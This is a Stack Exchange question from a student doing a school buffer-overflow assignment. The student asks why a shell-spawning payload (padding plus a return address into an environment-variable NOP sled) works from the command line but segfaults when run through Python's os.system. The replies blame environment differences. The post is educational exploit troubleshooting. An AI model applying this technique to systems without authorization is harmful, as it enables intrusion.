Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

I am developing a script to perform an a buffer overflow for an assignment in school. However, I am stuck at a point where my payload works injected through the commandline, but not injected through my python script.

When I inject my payload from the commandline:

 user@ubuntu:~/Documents/$ /home/user/Documents/easy $(python -c 'print"AAAAAAAAAAAAAA"\xa0\xf4\xff\xbf"')
 $ exit  //I get the shell.... 

The return address

\xa0\xf4\xff\xbf

Is the address of my NOP sled in an environment variable.

Now, I run the complete same command through my python script:

 path = "/home/dvddaver/Documents/softwaresec/assigment2/easy AAAAAAAAAAAAAA\xa0\xf4\xff\xbf"
 os.system(path);

However, when I run my python script, I get a segmentation fault:

 user@ubuntu:~/Documents$ python bruteforcer.py
 Segmentation fault (core dumped)
share|improve this question
1  
New process - new environment. Perhaps your return address is wrong? –  Dog eat cat world Mar 18 at 20:01

1 Answer 1

The address in your environment may have changed because the environment is different.

You could look at the coredump to find out the correct address to use ( you don't have to use a nop sled then :) )

share|improve this answer

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.